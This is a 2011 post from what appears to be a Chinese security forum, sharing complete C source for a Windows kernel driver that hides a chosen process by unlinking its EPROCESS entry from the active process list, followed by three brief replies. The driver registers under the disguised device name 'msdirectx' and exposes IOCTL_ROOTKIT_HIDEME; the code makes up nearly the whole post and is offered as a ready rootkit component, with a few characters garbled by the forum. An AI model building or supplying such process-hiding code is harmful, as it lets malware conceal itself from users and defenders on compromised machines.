首页
社区
课程
招聘
[旧帖] [分享]r0摘链隐藏进程 0.00雪花
发表于: 2011-2-19 20:47 1033

[旧帖] [分享]r0摘链隐藏进程 0.00雪花

2011-2-19 20:47
1033
/*=================================================================
                                                eprocess断链隐藏进程
=================================================================*/
#include "ntddk.h"
#include "stdio.h"
#include "stdlib.h"

//typedef BOOLEAN BOOL;
typedef unsigned long        DWORD;
typedef DWORD                        * PDWORD;

// #define   DebugPrint                DbgPrint   
#define FILE_DEVICE_ROOTKIT                                0x00002a7b
#define IOCTL_ROOTKIT_INIT            (ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT, 0x01, METHOD_BUFFERED, FILE_WRITE_ACCESS)
#define IOCTL_ROOTKIT_HIDEME          (ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT, 0x02, METHOD_BUFFERED, FILE_WRITE_ACCESS)

int                FLINKOFFSET;   
int                PIDOFFSET;

const WCHAR deviceLinkBuffer[]  = L"\\DosDevices\\msdirectx";
const WCHAR deviceNameBuffer[]  = L"\\Device\\msdirectx";

DWORD FindProcessEPROC(int);

//===================================================================================|
//===================================================================================|
NTSTATUS DispatchDeviceControl(        IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp         )
{
        int        find_PID = 0;
        
        DWORD eproc                                = 0x00000000;
        DWORD start_eproc                = 0x00000000;
        PLIST_ENTRY                                plist_active_procs = NULL;
        //------------------------------------------------
        
        PVOID                   inputBuffer;
        PVOID                   outputBuffer;
        ULONG                   inputBufferLength;
        ULONG                   outputBufferLength;
        ULONG                   ioControlCode;
        NTSTATUS                ntstatus;

        PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);        
        Irp->IoStatus.Status = STATUS_SUCCESS;
        Irp->IoStatus.Information = 0;

        inputBuffer             = Irp->AssociatedIrp.SystemBuffer;
        outputBuffer            = Irp->AssociatedIrp.SystemBuffer;
        inputBufferLength       = irpStack->arameters.DeviceIoControl.InputBufferLength;
        outputBufferLength      = irpStack->arameters.DeviceIoControl.OutputBufferLength;
        ioControlCode           = irpStack->arameters.DeviceIoControl.IoControlCode;

        switch ( ioControlCode ) {        
        case IOCTL_ROOTKIT_INIT:
                if ((inputBufferLength < sizeof(int) * 8) || (inputBuffer == NULL))
                {
                        Irp->IoStatus.Status = STATUS_INVALID_BUFFER_SIZE;
                        break;
                }
                PIDOFFSET       = (int) (*(int *)inputBuffer);
                FLINKOFFSET     = (int) (*((int *)inputBuffer+1));
               
                break;
               
        case IOCTL_ROOTKIT_HIDEME:
                if ((inputBufferLength < sizeof(DWORD)) || (inputBuffer == NULL))
                {
                        Irp->IoStatus.Status = STATUS_INVALID_BUFFER_SIZE;
                        break;
                }
               
                find_PID = *((DWORD *)inputBuffer);
                if (find_PID == 0x00000000)
                {
                        Irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
                        break;
                }
               
                eproc = FindProcessEPROC(find_PID);
                if (eproc == 0x00000000)
                {
                        Irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
                        break;
                }
                //----------------------断链隐藏进程----------------------
                plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);        
                *((DWORD *)plist_active_procs->Blink+0) = (DWORD) plist_active_procs->Flink;         
                *((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;
                //--------------------------------------------------------
                break;
               
        default:
                Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
                break;
        }
        
        return Irp->IoStatus.Status;
}

//遍历list
DWORD FindProcessEPROC (int terminate_PID)
{
        DWORD eproc       = 0x00000000;
        int   current_PID = 0;
        int   start_PID   = 0;
        int   i_count     = 0;
        PLIST_ENTRY plist_active_procs;
        
        
        if (terminate_PID == 0)
                return terminate_PID;
        
        eproc = (DWORD) PsGetCurrentProcess();
        start_PID = *((DWORD*)(eproc+PIDOFFSET));
        current_PID = start_PID;
        
        while(1)
        {
                if(terminate_PID == current_PID)
                        return eproc;
                else  
                {
                        plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
                        eproc = (DWORD) plist_active_procs->Flink;
                        eproc = eproc - FLINKOFFSET;
                        current_PID = *((int *)(eproc+PIDOFFSET));
                        i_count++;
                }
                if(start_PID == current_PID) //如果是自己的pid 就返回0
                {
                        return 0x00000000;
                }

        }
}

/************************************************************************
* 函数名称:HelloDDKDispatchRoutine
* 功能描述:对读IRP进行处理
* 参数列表:
      pDevObj:功能设备对象
      pIrp:从IO请求包
* 返回 值:返回状态
*************************************************************************/
#pragma PAGEDCODE
NTSTATUS Dispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)        //通用指派
{
        NTSTATUS                ntstatus;

        PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);        
        Irp->IoStatus.Status =ntstatus= STATUS_SUCCESS;
        Irp->IoStatus.Information = 0;

        switch (irpStack->MajorFunction) {
        case IRP_MJ_CREATE:
                KdPrint(("IRP_MJ_CREATE\n"));
                break;

        case IRP_MJ_SHUTDOWN:
                KdPrint(("IRP_MJ_SHUTDOWN\n"));
                break;

        case IRP_MJ_CLOSE:
                KdPrint(("IRP_MJ_CLOSE\n"));
                break;

        case IRP_MJ_DEVICE_CONTROL:
                ntstatus = DispatchDeviceControl(DeviceObject,Irp);        //ioctl分发函数
                break;
        }

        IoCompleteRequest( Irp, IO_NO_INCREMENT );
        return ntstatus;   
}

/************************************************************************
* 函数名称:CreateDevice
* 功能描述:初始化设备对象
* 参数列表:
      pDriverObject:从I/O管理器中传进来的驱动对象
* 返回 值:返回初始化状态
*************************************************************************/

#pragma INITCODE
NTSTATUS CreateDevice (IN PDRIVER_OBJECT        pDriverObject)                                                
{
        NTSTATUS                        status;
        PDEVICE_OBJECT                pDevObj;
        PDEVICE_EXTENSION        pDevExt;
        
        UNICODE_STRING          deviceNameUString;
        UNICODE_STRING          deviceLinkUString;   

        RtlInitUnicodeString (&deviceNameUString,deviceNameBuffer );
        RtlInitUnicodeString (&deviceLinkUString,deviceLinkBuffer );

        //创建设备
        status = IoCreateDevice( pDriverObject,
                                                        sizeof(DEVICE_EXTENSION),
                                                        &deviceNameUString,
                                                        FILE_DEVICE_UNKNOWN,
                                                        0, TRUE,
                                                        &pDevObj );
        if (!NT_SUCCESS(status))
                return status;

        //创建符号链接
        status = IoCreateSymbolicLink( &deviceLinkUString,&deviceNameUString );
        if (!NT_SUCCESS(status))
        {
                IoDeleteDevice( pDevObj );
                return status;
        }
        //设备扩展
        pDevObj->Flags |= DO_BUFFERED_IO;
        pDevExt = (PDEVICE_EXTENSION)pDevObj->DeviceExtension;
        pDevExt->pDevice = pDevObj;
        pDevExt->ustrDeviceName = deviceNameUString;
        pDevExt->ustrSymLinkName = deviceLinkUString;
        
        return STATUS_SUCCESS;
}
VOID DeleteDevice (IN PDRIVER_OBJECT pDriverObject)
{
        //删除符号链接和设备对象
        PDEVICE_OBJECT        pNextObj;
        pNextObj = pDriverObject->DeviceObject;
        while (pNextObj != NULL)
        {
                PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)
                        pNextObj->DeviceExtension;

                //删除符号链接
                UNICODE_STRING pLinkName = pDevExt->ustrSymLinkName;
                IoDeleteSymbolicLink(&pLinkName);
                pNextObj = pNextObj->NextDevice;
                IoDeleteDevice( pDevExt->pDevice );
        }
}

/*=========================================================
* 函数名称:
* 功能描述:负责驱动程序的卸载操作
* 参数列表:
                pDriverObject:驱动对象
* 返回 值:返回状态
=========================================================*/
#pragma PAGEDCODE
VOID Unload (IN PDRIVER_OBJECT pDriverObject)
{

        //删除符号链接和设备对象
        DeleteDevice( pDriverObject);
}
/*=========================================================
* 函数名称riverEntry
* 功能描述:初始化驱动程序,定位和申请硬件资源,创建内核对象
* 参数列表:
      pDriverObject:从I/O管理器中传进来的驱动对象
      pRegistryPath:驱动程序在注册表的中的路径
* 返回 值:返回初始化驱动状态
IRQL = passive level
=========================================================*/
#pragma INITCODE
extern "C" NTSTATUS DriverEntry (IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING pRegistryPath        )                                                                 
{
        KdPrint(("---------------- DriverEntry ----------------\nCompiled at " __TIME__ " on " __DATE__ "\n"));

        //指定分发函数
        for(int i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++ )
                pDriverObject->MajorFunction[i] = Dispatch;

        //pDriverObject->MajorFunction[IRP_MJ_CREATE]         = Dispatch;
        //pDriverObject->MajorFunction[IRP_MJ_CLOSE]          = Dispatch;
        //pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchDeviceControl_HideProt;

        //创建驱动设备对象
        CreateDevice(pDriverObject);
         

        //------------------------------------
        pDriverObject->DriverUnload = Unload;
        KdPrint(("----------------end of DriverEntry--------------\n"));
        return STATUS_SUCCESS;
}

[课程]Android-CTF解题方法汇总!

收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 80
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
谢谢分享.......
2011-2-19 21:03
0
雪    币: 3800
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
注释挺详细的,不错!
2011-2-19 21:09
0
雪    币: 201
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
能问一下这是在干啥吗
2011-2-20 13:27
0
游客
登录 | 注册 方可回帖
返回
//